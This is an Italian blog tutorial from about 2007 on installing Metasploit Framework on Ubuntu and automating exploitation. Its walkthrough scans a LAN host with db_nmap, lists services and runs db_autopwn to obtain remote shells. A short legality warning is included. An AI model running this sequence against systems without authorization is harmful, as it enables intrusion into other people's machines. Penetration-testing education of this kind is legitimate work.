Hacking time: automatizzare MetaSploit Framework

No MetaSploit Framework? Ahi ahi ahi....

Metasploit Framework (MSF) è un insieme di applicazioni che permettono, scegliendo l'exploit e il payload che più ci piace, di effettuare un penetration test su uno o più nodi di una rete.

Selezionare però l'exploit giusto, avendo cura di fare un'analisi del sistema oggetto del nostro interesse, e poi il payload opportuno, definendo sostanzialmente il tipo di attacco, potrebbe non essere così facile e soprattutto è molto ripetitivo e noioso. E allora?

Quelli di MSF hanno deciso di semplificarci la vita implementato delle feature molto interessanti che permettono di automatizzare il processo.

In sostanza da MSF, utilizzando un DB relazionale come strato di persistenza e tramite NMAP o NESSUS, possiamo eseguire la scansione di una rete, individuare le eventuali vulnerabilità e lasciare che MSF applichi gli opportuni exploit e payload, restituendoci se possibile delle belle shell.

E ora vediamo come configurare il tutto su una Ubuntu:

(Un avvertimento: non utilizzate la procedura che descriverò per fare dei penetration test non autorizzati, è illegale. Io ve l'ho detto...)

Installazione di Metasploit su Ubuntu 7.10 Gutsy Gibbon

Scaricate il package framework-3.0.tar.gz dal sito e scompattatelo in una directory

Installate i seguenti pacchetti per la nostra distro Ubuntu necessari per far girare Ruby (MSF è fatto in Ruby)

# sudo apt-get install build-essential
# sudo apt-get install ruby libruby rdoc
# sudo apt-get install libyaml-ruby
# sudo apt-get install libzlib-ruby
# sudo apt-get install libopenssl-ruby
# sudo apt-get install libdl-ruby
# sudo apt-get install libreadline-ruby
# sudo apt-get install libiconv-ruby
# sudo apt-get install rubygems.

Per l'interfaccia Web (msfweb) e anche per AutoPwn dobbiamo installare le librerie RAILS per ruby con GEM
# sudo gem install -v=1.2.2 rails

Adesso facciamo partire la console di MSF per vedere se tutto è OK
# ./msfconsole



Ok, usciamo per il momento dalla console con:
msf> exit

Configurazione del DB per MSF

Serve un DB riconosciuto da MSF, scegliamo sqlite3.

Installiamo sqlLite 3 nella nostra ubuntu:
# sudo apt-get install sqlite3

E' consigliabile installare anche la parte per developer di sqlite3:
#sudo apt-get install libsqlite3-dev

Ora con GEM installiamo le librerie per Ruby di SqLite3:
# sudo gem install sqlite3-ruby

Select which gem to install for your platform (i686-linux)
1. sqlite3-ruby 1.2.1 (mswin32)

2. sqlite3-ruby 1.2.1 (ruby)
3. sqlite3-ruby 1.2.0 (mswin32)

4. sqlite3-ruby 1.2.0 (ruby)

5. Skip this gem

6. Cancel installation


Scegliamo la voce per Ruby su Linux: #2

Apriamo la console del MSF:
# ./msfconsole

Carichiamo il plug-in per il DB sqlLite
#msf > load db_sqlite3

Creiamo un DB di test per organizzare i risultati delle scansioni:
#msf > db_create test

Partiamo con un NMAP inserendo le opzioni da riga di comando più opportune:
#msf > db_nmap -sS -n -F 192.168.1.101

Starting Nmap 4.20 ( http://insecure.org ) at 2007-11-24 19:44
CET
Interesting ports on 192.168.1.101:
Not shown: 1250 filtered ports
PORT STATE SERVICE
80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

5800/tcp open vnc-http
5900/tcp open vnc

MAC Address: 00:13:E8:15:45:29 (Intel Corporate)


Con db_services otterremo la lista dei servizi disponibili da poter exploitare
#msf > db_services

[*] Service: host=192.168.1.101 port=80 proto=tcp state=up name=http
[*] Service: host=192.168.1.101 port=135 proto=tcp state=up name=msrpc
[*] Service: host=192.168.1.101 port=139 proto=tcp state=up name=netbios-ssn
[*] Service: host=192.168.1.101 port=445 proto=tcp state=up name=microsoft-ds

[*] Service: host=192.168.1.101 port=5800 proto=tcp state=up name=vnc-http

[*] Service: host=192.168.1.101 port=5900 proto=tcp state=up name=vnc


Ora facciamo partire l'automatizzatore.
#msf> db_autopwn -p -t -e

Se siamo fortunati avremo delle sessioni di Shell calde calde che potremo visualizzare con:
#sessions -l

Ed interagire con la sessione che più ci interessa:
#sessions -i #num_sessione

:-)

Un pò di link:

Video su l'automatizzazione di MSF













Video sull'hacking di Win2000 e VNC con MSF

Commenti

  1. arrivato a questo punto mi da questo errore

    Select which gem to install for your platform (i486-linux)
    1. sqlite3-ruby 1.2.1 (mswin32)
    2. sqlite3-ruby 1.2.1 (ruby)
    3. sqlite3-ruby 1.2.0 (mswin32)
    4. sqlite3-ruby 1.2.0 (ruby)
    5. Skip this gem
    6. Cancel installation
    > 4
    Building native extensions. This could take a while...
    ERROR: While executing gem ... (Gem::Installer::ExtensionBuildError)
    ERROR: Failed to build gem native extension.

    ruby extconf.rb install sqlite3-ruby
    extconf.rb:1:in `require': no such file to load -- mkmf (LoadError)
    from extconf.rb:1


    Gem files will remain installed in /var/lib/gems/1.8/gems/sqlite3-ruby-1.2.0 for inspection.
    Results logged to /var/lib/gems/1.8/gems/sqlite3-ruby-1.2.0/ext/sqlite3_api/gem_make.out

    che vuol dire?
    Grazie Andrea

    RispondiElimina

Posta un commento

Post popolari in questo blog

Exploit: icsploit o espluà?

TrueCrypt 5.0: nuova release

ING Direct: ancora con il PAD numerico rotante!